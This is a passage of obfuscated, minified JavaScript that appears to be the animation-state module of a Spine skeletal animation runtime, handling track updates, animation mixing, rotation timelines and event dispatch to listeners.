this['propertyIDs'] = new _0x9fefcd(), this['animationsChanged'] = !0x1, this['trackEntryPool'] = new _0x539389(() => new _0x1f907d()), this['data'] = _0x44d8fa; } static ['emptyAnimation']() { return _0xf3d147['_emptyAnimation']; } ['update'](_0x194d5b) { _0x194d5b *= this['timeScale']; let _0x49f123 = this['tracks']; for (let _0x1d9577 = 0x0, _0x5aa21d = _0x49f123['length']; _0x1d9577 < _0x5aa21d; _0x1d9577++) { let _0xd318ff = _0x49f123[_0x1d9577]; if (!_0xd318ff) continue; _0xd318ff['animationLast'] = _0xd318ff['nextAnimationLast'], _0xd318ff['trackLast'] = _0xd318ff['nextTrackLast']; let _0x308551 = _0x194d5b * _0xd318ff['timeScale']; if (_0xd318ff['delay'] > 0x0) { if (_0xd318ff['delay'] -= _0x308551, _0xd318ff['delay'] > 0x0) continue; _0x308551 = -_0xd318ff['delay'], _0xd318ff['delay'] = 0x0; } let _0x143e3e = _0xd318ff['next']; if (_0x143e3e) { let _0x494773 = _0xd318ff['trackLast'] - _0x143e3e['delay']; if (_0x494773 >= 0x0) { for (_0x143e3e['delay'] = 0x0, _0x143e3e['trackTime'] += 0x0 == _0xd318ff['timeScale'] ? 0x0 : (_0x494773 / _0xd318ff['timeScale'] + _0x194d5b) * _0x143e3e['timeScale'], _0xd318ff['trackTime'] += _0x308551, this['setCurrent'](_0x1d9577, _0x143e3e, !0x0); _0x143e3e['mixingFrom'];)_0x143e3e['mixTime'] += _0x194d5b, _0x143e3e = _0x143e3e['mixingFrom']; continue; } } else { if (_0xd318ff['trackLast'] >= _0xd318ff['trackEnd'] && !_0xd318ff['mixingFrom']) { _0x49f123[_0x1d9577] = null, this['queue']['end'](_0xd318ff), this['clearNext'](_0xd318ff); continue; } } if (_0xd318ff['mixingFrom'] && this['updateMixingFrom'](_0xd318ff, _0x194d5b)) { let _0x4d1f76 = _0xd318ff['mixingFrom']; for (_0xd318ff['mixingFrom'] = null, _0x4d1f76 && (_0x4d1f76['mixingTo'] = null); _0x4d1f76;)this['queue']['end'](_0x4d1f76), _0x4d1f76 = _0x4d1f76['mixingFrom']; } _0xd318ff['trackTime'] += _0x308551; } this['queue']['drain'](); } ['updateMixingFrom'](_0x1489eb, _0x5ba93d) { let _0x503d64 = _0x1489eb['mixingFrom']; if (!_0x503d64) return !0x0; let _0x2e98de = this['updateMixingFrom'](_0x503d64, _0x5ba93d); return _0x503d64['animationLast'] = _0x503d64['nextAnimationLast'], _0x503d64['trackLast'] = _0x503d64['nextTrackLast'], _0x1489eb['mixTime'] > 0x0 && _0x1489eb['mixTime'] >= _0x1489eb['mixDuration'] ? (0x0 != _0x503d64['totalAlpha'] && 0x0 != _0x1489eb['mixDuration'] || (_0x1489eb['mixingFrom'] = _0x503d64['mixingFrom'], _0x503d64['mixingFrom'] && (_0x503d64['mixingFrom']['mixingTo'] = _0x1489eb), _0x1489eb['interruptAlpha'] = _0x503d64['interruptAlpha'], this['queue']['end'](_0x503d64)), _0x2e98de) : (_0x503d64['trackTime'] += _0x5ba93d * _0x503d64['timeScale'], _0x1489eb['mixTime'] += _0x5ba93d, !0x1); } ['apply'](_0x2644ec) { if (!_0x2644ec) throw new Error('skeleton\x20cannot\x20be\x20null.'); this['animationsChanged'] && this['_animationsChanged'](); let _0x520cad = this['events'], _0x1cdb17 = this['tracks'], _0x569a02 = !0x1; for (let _0x288165 = 0x0, _0x56e4ec = _0x1cdb17['length']; _0x288165 < _0x56e4ec; _0x288165++) { let _0x49b7e6 = _0x1cdb17[_0x288165]; if (!_0x49b7e6 || _0x49b7e6['delay'] > 0x0) continue; _0x569a02 = !0x0; let _0x1315f2 = 0x0 == _0x288165 ? 0x1 : _0x49b7e6['mixBlend'], _0xf0397b = _0x49b7e6['alpha']; _0x49b7e6['mixingFrom'] ? _0xf0397b *= this['applyMixingFrom'](_0x49b7e6, _0x2644ec, _0x1315f2) : _0x49b7e6['trackTime'] >= _0x49b7e6['trackEnd'] && !_0x49b7e6['next'] && (_0xf0397b = 0x0); let _0x1729f1 = _0x49b7e6['animationLast'], _0x1c47db = _0x49b7e6['getAnimationTime'](), _0x959310 = _0x1c47db, _0xe43136 = _0x520cad; _0x49b7e6['reverse'] && (_0x959310 = _0x49b7e6['animation']['duration'] - _0x959310, _0xe43136 = null); let _0x57aa38 = _0x49b7e6['animation']['timelines'], _0x141799 = _0x57aa38['length']; if (0x0 == _0x288165 && 0x1 == _0xf0397b || 0x3 == _0x1315f2) for (let _0x708ccf = 0x0; _0x708ccf < _0x141799; _0x708ccf++) { _0x5bda80['webkit602BugfixHelper'](_0xf0397b, _0x1315f2); var _0x461dac = _0x57aa38[_0x708ccf]; _0x461dac instanceof _0xc3d6e4 ? this['applyAttachmentTimeline'](_0x461dac, _0x2644ec, _0x959310, _0x1315f2, !0x0) : _0x461dac['apply'](_0x2644ec, _0x1729f1, _0x959310, _0xe43136, _0xf0397b, _0x1315f2, 0x0); } else { let _0x31f749 = _0x49b7e6['timelineMode'], _0x287a87 = _0x49b7e6['shortestRotation'], _0x71cbe1 = !_0x287a87 && _0x49b7e6['timelinesRotation']['length'] != _0x141799 << 0x1; _0x71cbe1 && (_0x49b7e6['timelinesRotation']['length'] = _0x141799 << 0x1); for (let _0x5a8418 = 0x0; _0x5a8418 < _0x141799; _0x5a8418++) { let _0x2a0fb1 = _0x57aa38[_0x5a8418], _0x3a06f2 = _0x31f749[_0x5a8418] == _0x39c63e ? _0x1315f2 : 0x0; !_0x287a87 && _0x2a0fb1 instanceof _0x96df89 ? this['applyRotateTimeline'](_0x2a0fb1, _0x2644ec, _0x959310, _0xf0397b, _0x3a06f2, _0x49b7e6['timelinesRotation'], _0x5a8418 << 0x1, _0x71cbe1) : _0x2a0fb1 instanceof _0xc3d6e4 ? this['applyAttachmentTimeline'](_0x2a0fb1, _0x2644ec, _0x959310, _0x1315f2, !0x0) : (_0x5bda80['webkit602BugfixHelper'](_0xf0397b, _0x1315f2), _0x2a0fb1['apply'](_0x2644ec, _0x1729f1, _0x959310, _0xe43136, _0xf0397b, _0x3a06f2, 0x0)); } } this['queueEvents'](_0x49b7e6, _0x1c47db), _0x520cad['length'] = 0x0, _0x49b7e6['nextAnimationLast'] = _0x1c47db, _0x49b7e6['nextTrackLast'] = _0x49b7e6['trackTime']; } for (var _0x2188c6 = this['unkeyedState'] + _0x1338f6, _0xc64f7 = _0x2644ec['slots'], _0x1d0304 = 0x0, _0x14dbcd = _0x2644ec['slots']['length']; _0x1d0304 < _0x14dbcd; _0x1d0304++) { var _0x4dadad = _0xc64f7[_0x1d0304]; if (_0x4dadad['attachmentState'] == _0x2188c6) { var _0x5ec0f9 = _0x4dadad['data']['attachmentName']; _0x4dadad['setAttachment'](_0x5ec0f9 ? _0x2644ec['getAttachment'](_0x4dadad['data']['index'], _0x5ec0f9) : null); } } return this['unkeyedState'] += 0x2, this['queue']['drain'](), _0x569a02; } ['applyMixingFrom'](_0x278e1e, _0x16f713, _0x1d2387) { let _0x5b3ad6 = _0x278e1e['mixingFrom']; _0x5b3ad6['mixingFrom'] && this['applyMixingFrom'](_0x5b3ad6, _0x16f713, _0x1d2387); let _0x4d07ef = 0x0; 0x0 == _0x278e1e['mixDuration'] ? (_0x4d07ef = 0x1, 0x1 == _0x1d2387 && (_0x1d2387 = 0x0)) : (_0x4d07ef = _0x278e1e['mixTime'] / _0x278e1e['mixDuration'], _0x4d07ef > 0x1 && (_0x4d07ef = 0x1), 0x1 != _0x1d2387 && (_0x1d2387 = _0x5b3ad6['mixBlend'])); let _0x215068 = _0x4d07ef < _0x5b3ad6['attachmentThreshold'], _0x2925e3 = _0x4d07ef < _0x5b3ad6['drawOrderThreshold'], _0x2ae89b = _0x5b3ad6['animation']['timelines'], _0x40e59c = _0x2ae89b['length'], _0xe7d951 = _0x5b3ad6['alpha'] * _0x278e1e['interruptAlpha'], _0x1e0034 = _0xe7d951 * (0x1 - _0x4d07ef), _0x8258b6 = _0x5b3ad6['animationLast'], _0x4bd323 = _0x5b3ad6['getAnimationTime'](), _0x321024 = _0x4bd323, _0x5a5876 = null; if (_0x5b3ad6['reverse'] ? _0x321024 = _0x5b3ad6['animation']['duration'] - _0x321024 : _0x4d07ef < _0x5b3ad6['eventThreshold'] && (_0x5a5876 = this['events']), 0x3 == _0x1d2387) { for (let _0x585e63 = 0x0; _0x585e63 < _0x40e59c; _0x585e63++)_0x2ae89b[_0x585e63]['apply'](_0x16f713, _0x8258b6, _0x321024, _0x5a5876, _0x1e0034, _0x1d2387, 0x1); } else { let _0x295e4b = _0x5b3ad6['timelineMode'], _0x43d4d8 = _0x5b3ad6['timelineHoldMix'], _0x429770 = _0x5b3ad6['shortestRotation'], _0xf0507f = !_0x429770 && _0x5b3ad6['timelinesRotation']['length'] != _0x40e59c << 0x1; _0xf0507f && (_0x5b3ad6['timelinesRotation']['length'] = _0x40e59c << 0x1), _0x5b3ad6['totalAlpha'] = 0x0; for (let _0x361d38 = 0x0; _0x361d38 < _0x40e59c; _0x361d38++) { let _0x4dadf6, _0x14b21b = _0x2ae89b[_0x361d38], _0x1dc875 = 0x1, _0x307919 = 0x0; switch (_0x295e4b[_0x361d38]) { case _0x39c63e: if (!_0x2925e3 && _0x14b21b instanceof _0x19ad43) continue; _0x4dadf6 = _0x1d2387, _0x307919 = _0x1e0034; break; case _0x5f5b96: _0x4dadf6 = 0x0, _0x307919 = _0x1e0034; break; case _0x518eb5: _0x4dadf6 = _0x1d2387, _0x307919 = _0xe7d951; break; case _0x2af48a: _0x4dadf6 = 0x0, _0x307919 = _0xe7d951; break; default: _0x4dadf6 = 0x0; let _0x11af14 = _0x43d4d8[_0x361d38]; _0x307919 = _0xe7d951 * Math['max'](0x0, 0x1 - _0x11af14['mixTime'] / _0x11af14['mixDuration']); }_0x5b3ad6['totalAlpha'] += _0x307919, !_0x429770 && _0x14b21b instanceof _0x96df89 ? this['applyRotateTimeline'](_0x14b21b, _0x16f713, _0x321024, _0x307919, _0x4dadf6, _0x5b3ad6['timelinesRotation'], _0x361d38 << 0x1, _0xf0507f) : _0x14b21b instanceof _0xc3d6e4 ? this['applyAttachmentTimeline'](_0x14b21b, _0x16f713, _0x321024, _0x4dadf6, _0x215068) : (_0x5bda80['webkit602BugfixHelper'](_0x307919, _0x1d2387), _0x2925e3 && _0x14b21b instanceof _0x19ad43 && 0x0 == _0x4dadf6 && (_0x1dc875 = 0x0), _0x14b21b['apply'](_0x16f713, _0x8258b6, _0x321024, _0x5a5876, _0x307919, _0x4dadf6, _0x1dc875)); } } return _0x278e1e['mixDuration'] > 0x0 && this['queueEvents'](_0x5b3ad6, _0x4bd323), this['events']['length'] = 0x0, _0x5b3ad6['nextAnimationLast'] = _0x4bd323, _0x5b3ad6['nextTrackLast'] = _0x5b3ad6['trackTime'], _0x4d07ef; } ['applyAttachmentTimeline'](_0x4354dd, _0x4a1676, _0x4dc4e8, _0x3d7bac, _0x314353) { var _0x4f06f6 = _0x4a1676['slots'][_0x4354dd['slotIndex']]; _0x4f06f6['bone']['active'] && (_0x4dc4e8 < _0x4354dd['frames'][0x0] ? 0x0 != _0x3d7bac && 0x1 != _0x3d7bac || this['setAttachment'](_0x4a1676, _0x4f06f6, _0x4f06f6['data']['attachmentName'], _0x314353) : this['setAttachment'](_0x4a1676, _0x4f06f6, _0x4354dd['attachmentNames'][_0x14ac7e['search1'](_0x4354dd['frames'], _0x4dc4e8)], _0x314353), _0x4f06f6['attachmentState'] <= this['unkeyedState'] && (_0x4f06f6['attachmentState'] = this['unkeyedState'] + _0x1338f6)); } ['setAttachment'](_0x3b16f2, _0x568d43, _0x1c69ce, _0x20872c) { _0x568d43['setAttachment'](_0x1c69ce ? _0x3b16f2['getAttachment'](_0x568d43['data']['index'], _0x1c69ce) : null), _0x20872c && (_0x568d43['attachmentState'] = this['unkeyedState'] + _0x3a3032); } ['applyRotateTimeline'](_0x20fac5, _0x5eb718, _0x5df2ca, _0x96db7a, _0x2b7ed8, _0xd7b523, _0x3f5108, _0x559cfe) { if (_0x559cfe && (_0xd7b523[_0x3f5108] = 0x0), 0x1 == _0x96db7a) return void _0x20fac5['apply'](_0x5eb718, 0x0, _0x5df2ca, null, 0x1, _0x2b7ed8, 0x0); let _0x3843e7 = _0x5eb718['bones'][_0x20fac5['boneIndex']]; if (!_0x3843e7['active']) return; let _0x2f86ab = 0x0, _0x51007b = 0x0; if (_0x5df2ca < _0x20fac5['frames'][0x0]) switch (_0x2b7ed8) { case 0x0: _0x3843e7['rotation'] = _0x3843e7['data']['rotation']; default: return; case 0x1: _0x2f86ab = _0x3843e7['rotation'], _0x51007b = _0x3843e7['data']['rotation']; } else _0x2f86ab = 0x0 == _0x2b7ed8 ? _0x3843e7['data']['rotation'] : _0x3843e7['rotation'], _0x51007b = _0x3843e7['data']['rotation'] + _0x20fac5['getCurveValue'](_0x5df2ca); let _0x1afbac = 0x0, _0x572e87 = _0x51007b - _0x2f86ab; if (_0x572e87 -= 0x168 * (0x4000 - (16384.499999999996 - _0x572e87 / 0x168 | 0x0)), 0x0 == _0x572e87) _0x1afbac = _0xd7b523[_0x3f5108]; else { let _0x2474f9 = 0x0, _0x322f1a = 0x0; _0x559cfe ? (_0x2474f9 = 0x0, _0x322f1a = _0x572e87) : (_0x2474f9 = _0xd7b523[_0x3f5108], _0x322f1a = _0xd7b523[_0x3f5108 + 0x1]); let _0x2c11fe = _0x572e87 > 0x0, _0x3dff0e = _0x2474f9 >= 0x0; _0x19ba92['signum'](_0x322f1a) != _0x19ba92['signum'](_0x572e87) && Math['abs'](_0x322f1a) <= 0x5a && (Math['abs'](_0x2474f9) > 0xb4 && (_0x2474f9 += 0x168 * _0x19ba92['signum'](_0x2474f9)), _0x3dff0e = _0x2c11fe), _0x1afbac = _0x572e87 + _0x2474f9 - _0x2474f9 % 0x168, _0x3dff0e != _0x2c11fe && (_0x1afbac += 0x168 * _0x19ba92['signum'](_0x2474f9)), _0xd7b523[_0x3f5108] = _0x1afbac; } _0xd7b523[_0x3f5108 + 0x1] = _0x572e87, _0x3843e7['rotation'] = _0x2f86ab + _0x1afbac * _0x96db7a; } ['queueEvents'](_0x109c95, _0x5743fa) { let _0x4844ad = _0x109c95['animationStart'], _0x580bfa = _0x109c95['animationEnd'], _0x1a1da4 = _0x580bfa - _0x4844ad, _0x5ee1db = _0x109c95['trackLast'] % _0x1a1da4, _0x47a9ec = this['events'], _0x22db28 = 0x0, _0x2506b2 = _0x47a9ec['length']; for (; _0x22db28 < _0x2506b2; _0x22db28++) { let _0x1b2819 = _0x47a9ec[_0x22db28]; if (_0x1b2819['time'] < _0x5ee1db) break; _0x1b2819['time'] > _0x580bfa || this['queue']['event'](_0x109c95, _0x1b2819); } let _0x577b3c = !0x1; for (_0x577b3c = _0x109c95['loop'] ? 0x0 == _0x1a1da4 || _0x5ee1db > _0x109c95['trackTime'] % _0x1a1da4 : _0x5743fa >= _0x580bfa && _0x109c95['animationLast'] < _0x580bfa, _0x577b3c && this['queue']['complete'](_0x109c95); _0x22db28 < _0x2506b2; _0x22db28++) { let _0x5acb10 = _0x47a9ec[_0x22db28]; _0x5acb10['time'] < _0x4844ad || this['queue']['event'](_0x109c95, _0x5acb10); } } ['clearTracks']() { let _0x5e3d4d = this['queue']['drainDisabled']; this['queue']['drainDisabled'] = !0x0; for (let _0x10e4df = 0x0, _0x7e0bff = this['tracks']['length']; _0x10e4df < _0x7e0bff; _0x10e4df++)this['clearTrack'](_0x10e4df); this['tracks']['length'] = 0x0, this['queue']['drainDisabled'] = _0x5e3d4d, this['queue']['drain'](); } ['clearTrack'](_0x31b4ed) { if (_0x31b4ed >= this['tracks']['length']) return; let _0x1bd4d4 = this['tracks'][_0x31b4ed]; if (!_0x1bd4d4) return; this['queue']['end'](_0x1bd4d4), this['clearNext'](_0x1bd4d4); let _0x20c670 = _0x1bd4d4; for (; ;) { let _0x5d5b5e = _0x20c670['mixingFrom']; if (!_0x5d5b5e) break; this['queue']['end'](_0x5d5b5e), _0x20c670['mixingFrom'] = null, _0x20c670['mixingTo'] = null, _0x20c670 = _0x5d5b5e; } this['tracks'][_0x1bd4d4['trackIndex']] = null, this['queue']['drain'](); } ['setCurrent'](_0xbaf99, _0x76bccf, _0x4084ab) { let _0x7486a = this['expandToIndex'](_0xbaf99); this['tracks'][_0xbaf99] = _0x76bccf, _0x76bccf['previous'] = null, _0x7486a && (_0x4084ab && this['queue']['interrupt'](_0x7486a), _0x76bccf['mixingFrom'] = _0x7486a, _0x7486a['mixingTo'] = _0x76bccf, _0x76bccf['mixTime'] = 0x0, _0x7486a['mixingFrom'] && _0x7486a['mixDuration'] > 0x0 && (_0x76bccf['interruptAlpha'] *= Math['min'](0x1, _0x7486a['mixTime'] / _0x7486a['mixDuration'])), _0x7486a['timelinesRotation']['length'] = 0x0), this['queue']['start'](_0x76bccf); } ['setAnimation'](_0x9d9873, _0x3a80c9, _0x5a699a = !0x1) { let _0x3bdfbd = this['data']['skeletonData']['findAnimation'](_0x3a80c9); if (!_0x3bdfbd) throw new Error('Animation\x20not\x20found:\x20' + _0x3a80c9); return this['setAnimationWith'](_0x9d9873, _0x3bdfbd, _0x5a699a); } ['setAnimationWith'](_0x10ee63, _0x3581dc, _0x476e93 = !0x1) { if (!_0x3581dc) throw new Error('animation\x20cannot\x20be\x20null.'); let _0x1494a8 = !0x0, _0x2cd25c = this['expandToIndex'](_0x10ee63); _0x2cd25c && (-0x1 == _0x2cd25c['nextTrackLast'] ? (this['tracks'][_0x10ee63] = _0x2cd25c['mixingFrom'], this['queue']['interrupt'](_0x2cd25c), this['queue']['end'](_0x2cd25c), this['clearNext'](_0x2cd25c), _0x2cd25c = _0x2cd25c['mixingFrom'], _0x1494a8 = !0x1) : this['clearNext'](_0x2cd25c)); let _0x3d5059 = this['trackEntry'](_0x10ee63, _0x3581dc, _0x476e93, _0x2cd25c); return this['setCurrent'](_0x10ee63, _0x3d5059, _0x1494a8), this['queue']['drain'](), _0x3d5059; } ['addAnimation'](_0x551931, _0x4828f1, _0x25a38d = !0x1, _0x2fe2be = 0x0) { let _0x29c0b1 = this['data']['skeletonData']['findAnimation'](_0x4828f1); if (!_0x29c0b1) throw new Error('Animation\x20not\x20found:\x20' + _0x4828f1); return this['addAnimationWith'](_0x551931, _0x29c0b1, _0x25a38d, _0x2fe2be); } ['addAnimationWith'](_0x5eea0d, _0x4f116c, _0x51d387 = !0x1, _0xbad288 = 0x0) { if (!_0x4f116c) throw new Error('animation\x20cannot\x20be\x20null.'); let _0x42a742 = this['expandToIndex'](_0x5eea0d); if (_0x42a742) { for (; _0x42a742['next'];)_0x42a742 = _0x42a742['next']; } let _0x213086 = this['trackEntry'](_0x5eea0d, _0x4f116c, _0x51d387, _0x42a742); return _0x42a742 ? (_0x42a742['next'] = _0x213086, _0x213086['previous'] = _0x42a742, _0xbad288 <= 0x0 && (_0xbad288 += _0x42a742['getTrackComplete']() - _0x213086['mixDuration'])) : (this['setCurrent'](_0x5eea0d, _0x213086, !0x0), this['queue']['drain']()), _0x213086['delay'] = _0xbad288, _0x213086; } ['setEmptyAnimation'](_0x21a865, _0x59b66a = 0x0) { let _0x21a34d = this['setAnimationWith'](_0x21a865, _0xf3d147['emptyAnimation'](), !0x1); return _0x21a34d['mixDuration'] = _0x59b66a, _0x21a34d['trackEnd'] = _0x59b66a, _0x21a34d; } ['addEmptyAnimation'](_0x1f858b, _0x5e2c7e = 0x0, _0x4a1da3 = 0x0) { let _0x300148 = this['addAnimationWith'](_0x1f858b, _0xf3d147['emptyAnimation'](), !0x1, _0x4a1da3); return _0x4a1da3 <= 0x0 && (_0x300148['delay'] += _0x300148['mixDuration'] - _0x5e2c7e), _0x300148['mixDuration'] = _0x5e2c7e, _0x300148['trackEnd'] = _0x5e2c7e, _0x300148; } ['setEmptyAnimations'](_0x34b27f = 0x0) { let _0x791863 = this['queue']['drainDisabled']; this['queue']['drainDisabled'] = !0x0; for (let _0x4f2802 = 0x0, _0x150bbc = this['tracks']['length']; _0x4f2802 < _0x150bbc; _0x4f2802++) { let _0x36272c = this['tracks'][_0x4f2802]; _0x36272c && this['setEmptyAnimation'](_0x36272c['trackIndex'], _0x34b27f); } this['queue']['drainDisabled'] = _0x791863, this['queue']['drain'](); } ['expandToIndex'](_0x2b8bf2) { return _0x2b8bf2 < this['tracks']['length'] ? this['tracks'][_0x2b8bf2] : (_0x5bda80['ensureArrayCapacity'](this['tracks'], _0x2b8bf2 + 0x1, null), this['tracks']['length'] = _0x2b8bf2 + 0x1, null); } ['trackEntry'](_0xa3cff8, _0x48f406, _0x4a23da, _0x2a42da) { let _0x491ecc = this['trackEntryPool']['obtain'](); return _0x491ecc['reset'](), _0x491ecc['trackIndex'] = _0xa3cff8, _0x491ecc['animation'] = _0x48f406, _0x491ecc['loop'] = _0x4a23da, _0x491ecc['holdPrevious'] = !0x1, _0x491ecc['reverse'] = !0x1, _0x491ecc['shortestRotation'] = !0x1, _0x491ecc['eventThreshold'] = 0x0, _0x491ecc['attachmentThreshold'] = 0x0, _0x491ecc['drawOrderThreshold'] = 0x0, _0x491ecc['animationStart'] = 0x0, _0x491ecc['animationEnd'] = _0x48f406['duration'], _0x491ecc['animationLast'] = -0x1, _0x491ecc['nextAnimationLast'] = -0x1, _0x491ecc['delay'] = 0x0, _0x491ecc['trackTime'] = 0x0, _0x491ecc['trackLast'] = -0x1, _0x491ecc['nextTrackLast'] = -0x1, _0x491ecc['trackEnd'] = Number['MAX_VALUE'], _0x491ecc['timeScale'] = 0x1, _0x491ecc['alpha'] = 0x1, _0x491ecc['mixTime'] = 0x0, _0x491ecc['mixDuration'] = _0x2a42da ? this['data']['getMix'](_0x2a42da['animation'], _0x48f406) : 0x0, _0x491ecc['interruptAlpha'] = 0x1, _0x491ecc['totalAlpha'] = 0x0, _0x491ecc['mixBlend'] = 0x2, _0x491ecc; } ['clearNext'](_0x4b5de8) { let _0x160012 = _0x4b5de8['next']; for (; _0x160012;)this['queue']['dispose'](_0x160012), _0x160012 = _0x160012['next']; _0x4b5de8['next'] = null; } ['_animationsChanged']() { this['animationsChanged'] = !0x1, this['propertyIDs']['clear'](); let _0x40b7c3 = this['tracks']; for (let _0x42eb38 = 0x0, _0x21408e = _0x40b7c3['length']; _0x42eb38 < _0x21408e; _0x42eb38++) { let _0x437640 = _0x40b7c3[_0x42eb38]; if (_0x437640) { for (; _0x437640['mixingFrom'];)_0x437640 = _0x437640['mixingFrom']; do { _0x437640['mixingTo'] && 0x3 == _0x437640['mixBlend'] || this['computeHold'](_0x437640), _0x437640 = _0x437640['mixingTo']; } while (_0x437640); } } } ['computeHold'](_0x2da346) { let _0x30705f = _0x2da346['mixingTo'], _0x373f57 = _0x2da346['animation']['timelines'], _0x1c2adb = _0x2da346['animation']['timelines']['length'], _0x328e32 = _0x2da346['timelineMode']; _0x328e32['length'] = _0x1c2adb; let _0x2a7dc4 = _0x2da346['timelineHoldMix']; _0x2a7dc4['length'] = 0x0; let _0x4889f3 = this['propertyIDs']; if (_0x30705f && _0x30705f['holdPrevious']) { for (let _0x484247 = 0x0; _0x484247 < _0x1c2adb; _0x484247++)_0x328e32[_0x484247] = _0x4889f3['addAll'](_0x373f57[_0x484247]['getPropertyIds']()) ? _0x2af48a : _0x518eb5; } else { _0xf8bb40: for (let _0x4d1f8e = 0x0; _0x4d1f8e < _0x1c2adb; _0x4d1f8e++) { let _0x341376 = _0x373f57[_0x4d1f8e], _0x384674 = _0x341376['getPropertyIds'](); if (_0x4889f3['addAll'](_0x384674)) { if (!_0x30705f || _0x341376 instanceof _0xc3d6e4 || _0x341376 instanceof _0x19ad43 || _0x341376 instanceof _0x10fcbe || !_0x30705f['animation']['hasTimeline'](_0x384674)) _0x328e32[_0x4d1f8e] = _0x5f5b96; else { for (let _0x28ad79 = _0x30705f['mixingTo']; _0x28ad79; _0x28ad79 = _0x28ad79['mixingTo'])if (!_0x28ad79['animation']['hasTimeline'](_0x384674)) { if (_0x2da346['mixDuration'] > 0x0) { _0x328e32[_0x4d1f8e] = _0x2529cc, _0x2a7dc4[_0x4d1f8e] = _0x28ad79; continue _0xf8bb40; } break; } _0x328e32[_0x4d1f8e] = _0x2af48a; } } else _0x328e32[_0x4d1f8e] = _0x39c63e; } } } ['getCurrent'](_0x110167) { return _0x110167 >= this['tracks']['length'] ? null : this['tracks'][_0x110167]; } ['addListener'](_0x5c0845) { if (!_0x5c0845) throw new Error('listener\x20cannot\x20be\x20null.'); this['listeners']['push'](_0x5c0845); } ['removeListener'](_0x316700) { let _0x280fab = this['listeners']['indexOf'](_0x316700); _0x280fab >= 0x0 && this['listeners']['splice'](_0x280fab, 0x1); } ['clearListeners']() { this['listeners']['length'] = 0x0; } ['clearListenerNotifications']() { this['queue']['clear'](); } }, _0x47ca3c = _0xf3d147; _0x47ca3c['_emptyAnimation'] = new _0x3de812('<empty>', [], 0x0); var _0x1f907d = class { constructor() { this['animation'] = null, this['previous'] = null, this['next'] = null, this['mixingFrom'] = null, this['mixingTo'] = null, this['listener'] = null, this['trackIndex'] = 0x0, this['loop'] = !0x1, this['holdPrevious'] = !0x1, this['reverse'] = !0x1, this['shortestRotation'] = !0x1, this['eventThreshold'] = 0x0, this['attachmentThreshold'] = 0x0, this['drawOrderThreshold'] = 0x0, this['animationStart'] = 0x0, this['animationEnd'] = 0x0, this['animationLast'] = 0x0, this['nextAnimationLast'] = 0x0, this['delay'] = 0x0, this['trackTime'] = 0x0, this['trackLast'] = 0x0, this['nextTrackLast'] = 0x0, this['trackEnd'] = 0x0, this['timeScale'] = 0x0, this['alpha'] = 0x0, this['mixTime'] = 0x0, this['mixDuration'] = 0x0, this['interruptAlpha'] = 0x0, this['totalAlpha'] = 0x0, this['mixBlend'] = 0x2, this['timelineMode'] = new Array(), this['timelineHoldMix'] = new Array(), this['timelinesRotation'] = new Array(); } ['reset']() { this['next'] = null, this['previous'] = null, this['mixingFrom'] = null, this['mixingTo'] = null, this['animation'] = null, this['listener'] = null, this['timelineMode']['length'] = 0x0, this['timelineHoldMix']['length'] = 0x0, this['timelinesRotation']['length'] = 0x0; } ['getAnimationTime']() { if (this['loop']) { let _0x1b6022 = this['animationEnd'] - this['animationStart']; return 0x0 == _0x1b6022 ? this['animationStart'] : this['trackTime'] % _0x1b6022 + this['animationStart']; } return Math['min'](this['trackTime'] + this['animationStart'], this['animationEnd']); } ['setAnimationLast'](_0xcbf42) { this['animationLast'] = _0xcbf42, this['nextAnimationLast'] = _0xcbf42; } ['isComplete']() { return this['trackTime'] >= this['animationEnd'] - this['animationStart']; } ['resetRotationDirections']() { this['timelinesRotation']['length'] = 0x0; } ['getTrackComplete']() { let _0x474253 = this['animationEnd'] - this['animationStart']; if (0x0 != _0x474253) { if (this['loop']) return _0x474253 * (0x1 + (this['trackTime'] / _0x474253 | 0x0)); if (this['trackTime'] < _0x474253) return _0x474253; } return this['trackTime']; } }, _0x1bc29c = class { constructor(_0x278eaf) { this['objects'] = [], this['drainDisabled'] = !0x1, this['animState'] = _0x278eaf; } ['start'](_0x5989db) { this['objects']['push'](_0x1a64e5['start']), this['objects']['push'](_0x5989db), this['animState']['animationsChanged'] = !0x0; } ['interrupt'](_0xd8dcfc) { this['objects']['push'](_0x1a64e5['interrupt']), this['objects']['push'](_0xd8dcfc); } ['end'](_0x3d1a14) { this['objects']['push'](_0x1a64e5['end']), this['objects']['push'](_0x3d1a14), this['animState']['animationsChanged'] = !0x0; } ['dispose'](_0x27c365) { this['objects']['push'](_0x1a64e5['dispose']), this['objects']['push'](_0x27c365); } ['complete'](_0x37f11e) { this['objects']['push'](_0x1a64e5['complete']), this['objects']['push'](_0x37f11e); } ['event'](_0x495ad3, _0x4d6772) { this['objects']['push'](_0x1a64e5['event']), this['objects']['push'](_0x495ad3), this['objects']['push'](_0x4d6772); } ['drain']() { if (this['drainDisabled']) return; this['drainDisabled'] = !0x0; let _0x2503a9 = this['objects'], _0x529837 = this['animState']['listeners']; for (let _0x5dab03 = 0x0; _0x5dab03 < _0x2503a9['length']; _0x5dab03 += 0x2) { let _0x225e17 = _0x2503a9[_0x5dab03], _0x2808a2 = _0x2503a9[_0x5dab03 + 0x1]; switch (_0x225e17) { case _0x1a64e5['start']: _0x2808a2['listener'] && _0x2808a2['listener']['start'] && _0x2808a2['listener']['start'](_0x2808a2); for (let _0x183cc6 = 0x0; _0x183cc6 < _0x529837['length']; _0x183cc6++) { let _0x484c32 = _0x529837[_0x183cc6]; _0x484c32['start'] && _0x484c32['start'](_0x2808a2); } break; case _0x1a64e5['interrupt']: _0x2808a2['listener'] && _0x2808a2['listener']['interrupt'] && _0x2808a2['listener']['interrupt'](_0x2808a2); for (let _0xfe89b5 = 0x0; _0xfe89b5 < _0x529837['length']; _0xfe89b5++) { let _0x14531d = _0x529837[_0xfe89b5]; _0x14531d['interrupt'] && _0x14531d['interrupt'](_0x2808a2); } break; case _0x1a64e5['end']: _0x2808a2['listener'] && _0x2808a2['listener']['end'] && _0x2808a2['listener']['end'](_0x2808a2); for (let _0x4f74e0 = 0x0; _0x4f74e0 < _0x529837['length']; _0x4f74e0++) { let _0x5cc5a7 = _0x529837[_0x4f74e0]; _0x5cc5a7['end'] && _0x5cc5a7['end'](_0x2808a2); } case _0x1a64e5['dispose']: _0x2808a2['listener'] && _0x2808a2['listener']['dispose'] && _0x2808a2['listener']['dispose'](_0x2808a2); for (let _0x56cdff = 0x0; _0x56cdff < _0x529837['length']; _0x56cdff++) { let _0x3d6185 = _0x529837[_0x56cdff]; _0x3d6185['dispose'] && _0x3d6185['dispose'](_0x2808a2); } this['animState']['trackEntryPool']['free'](_0x2808a2); break; case _0x1a64e5['complete']: _0x2808a2['listener'] && 